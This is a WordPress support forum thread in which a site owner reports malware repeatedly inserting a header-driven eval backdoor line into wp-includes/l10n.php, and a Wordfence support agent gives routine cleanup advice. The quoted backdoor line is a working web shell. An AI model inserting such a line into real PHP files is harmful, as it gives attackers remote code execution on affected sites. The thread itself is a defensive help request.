Virus Modifying l10n.php Continuously

  • Resolved particulartastes

    (@particulartastes)


    1 year, 6 months ago

    There is a virus continuously adding “@eval($_SERVER[‘HTTP_4A9BBA5’]);” on line 123 of my l10n.php file in wp-includes folder.

    I continue to repair and remove that line of code, but it gets added back every 10 seconds. I have run 4 different malware scanners and even downloaded the full site locally to scan with bitdefender. Nothing is ever found besides the l10n.php file, but clearly there is something being missed that continues to change this code. Please help! I’ve spent hours trying to trace it.

Viewing 1 replies (of 1 total)
  • Plugin Support wfmargaret

    (@wfmargaret)

    1 year, 6 months ago

    Hi @particulartastes,

    Thanks for reaching out. I’m sorry your site’s been hacked.

    It sounds like you may need to clean the site or at least follow the checklist here: https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

    It might also be a good idea to review any cron jobs configured on the server.

    Make sure to get all your plugins and themes updated and update WordPress core too. If you are on an older branch (WordPress 4.x etc) because you wanted to wait before installing the latest version because of Gutenberg or a custom theme compatibility you still need the latest update in that version. Those can be found here: https://ww.wp.xz.cn/download/releases/

    WordPress sometimes patches their older releases if they find a vulnerability so make sure to update your version if needed. We, of course, recommend that you update to the latest version.

    As a rule, any time I think someone’s site has been compromised I also tell them to update their passwords for their hosting control panel, FTP,  WordPress admin users, and database. Make sure to do this.

    Additionally, you might find the WordPress Malware Removal section in our free Learning Center helpful.  

    If you are unable to clean this on your own there are paid services that will do it for you.  Wordfence offers one and there are others.  Regardless if you choose to clean it yourself or let someone else do so, we recommend that you make a full backup of the site beforehand. 

    Thanks,
    Margaret

Viewing 1 replies (of 1 total)

The topic ‘Virus Modifying l10n.php Continuously’ is closed to new replies.